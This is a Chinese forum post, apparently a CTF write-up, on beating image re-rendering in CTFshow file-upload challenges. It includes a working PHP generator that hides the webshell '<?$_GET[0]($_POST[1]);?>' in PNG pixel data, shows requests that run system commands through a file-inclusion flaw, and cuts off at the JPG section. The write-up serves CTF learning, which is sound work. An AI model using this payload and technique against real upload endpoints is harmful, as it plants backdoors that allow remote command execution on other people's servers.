基于CTFshow的文件上传二次渲染绕过与CTF实战

打印 上一主题 下一主题

主题 861|帖子 861|积分 2585

1. 二次渲染简介

二次渲染指的是上传的文件(如图片),为了显示的更加规范(尺寸、像素),网站会对文件进行二次处理,经过解码或转换可能导致其中的恶意代码失效。例如,后门程序在图像渲染过程中可能被扫除或无法实行。
2. 二次渲染存在性判断

2.1 文件大小变化

访问上传的文件地点,重新下载下来,查看文件大小是否发生改变

2.2 图片数据包

将上传图片的发送包和访问文件地点的返回包发到burpsuite的compare模块,查看是否存在差别

3. png绕过二次渲染——Web 164

3.1 题目分析

尝试上传一张正常的图片,下载上传后的文件查看,发现本题对图片进行了二次渲染,写入的php代码轻易损坏。
随意写入一些内容,上传失败显示文件范例不合规。本题在在文件上传时进行了CRC(循环冗余校验)以确保文件未被窜改。我们在PNG文件中添加了文字,导致文件布局被破坏,从而无法通过校验。因此我们插入php代码后,必须重新计算相应的crc值并修改才能通过校验

3.2 天生后门图片

因此推荐使用以下脚本直接直接对图片插入后门代码:
  1. <?php
  2. $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
  3.            0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
  4.            0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
  5.            0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
  6.            0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
  7.            0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
  8.            0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
  9.            0x66, 0x44, 0x50, 0x33);
  10. $img = imagecreatetruecolor(32, 32);
  11. for ($y = 0; $y < sizeof($p); $y += 3) {
  12.    $r = $p[$y];
  13.    $g = $p[$y+1];
  14.    $b = $p[$y+2];
  15.    $color = imagecolorallocate($img, $r, $g, $b);
  16.    imagesetpixel($img, round($y / 3), 0, $color);
  17. }
  18. imagepng($img,'1.png');  //要修改的图片的路径
  19. /* 木马内容
  20. <?$_GET[0]($_POST[1]);?>
  21. */
  22. //imagepng($img,'1.png');  要修改的图片的路径,1.png是使用的文件,可以不存在
  23. //会在目录下自动创建一个1.png图片
  24. //图片脚本内容:$_GET[0]($_POST[1]);
  25. //使用方法:例子:查看图片,get传入0=system;post传入tac flag.php
  26. ?>
复制代码
使用方法:
设置php环境变量,在该脚本文件夹下实行以下cmd命令
  1. php 脚本名.php 要修改的图片名.png
复制代码
然后就会在当前文件夹天生一个1.png,包含的木马内容如下
  1. [/code][size=5]3.3 后门代码利用[/size]
  2. 访问图片地点,利用如下的恶意代码将想要的内容输出到1.txt
  3. [code]https://xxx/download.php?image=xxxxx&0=system
  4. post:
  5.         1=ls > 1.txt
  6.         1=tac flag.php >1.txt
复制代码
访问https://xxx/1.txt,得到以下内容


3.4 为什么图片解析php

在本题中,我通过向图片传php恶意代码,竟然成功实行了,这是为什么呢?
我们tac一下download.php来看一下
  1. }        echo "图片错误";
  2. }else{
  3.         include("./upload/".strrev($file));
  4.         header('Content-Type:image/png');
  5. if($ext==='.png' && file_exists("./upload/".strrev($file))){
  6. $ext = strrev(substr($file, 0,4));
  7. $file = strrev($file);
  8. $file= $_GET['image'];
复制代码
代码的逻辑总结:

  • 从 URL 获取文件名:通过 $_GET['image'] 获取传递的文件名。
  • 处理文件名:通过 strrev() 反转文件名来获取实际的文件,并通过 substr() 获取文件的扩展名。
  • 检查文件是否存在且为 PNG 格式:判断扩展名是否为 .png,以及文件是否存在于 ./upload/ 目次。
  • 输出图片文件:假如条件满足,包含并输出这个文件,并将响应头设为 image/png 以显示 PNG 图片。
这下明白了,本题查看图片的功能是通过文件包含的形式实现的,传入图片的代码被包含到了download.php,从而成功被实行
4. jpg绕过二次渲染——Web 165

4.1 天生后门图片

利用以下脚本天生,需要留意的是:是先上传原图,把二次渲染后的图片进行脚本加工
[code]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

用多少眼泪才能让你相信

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表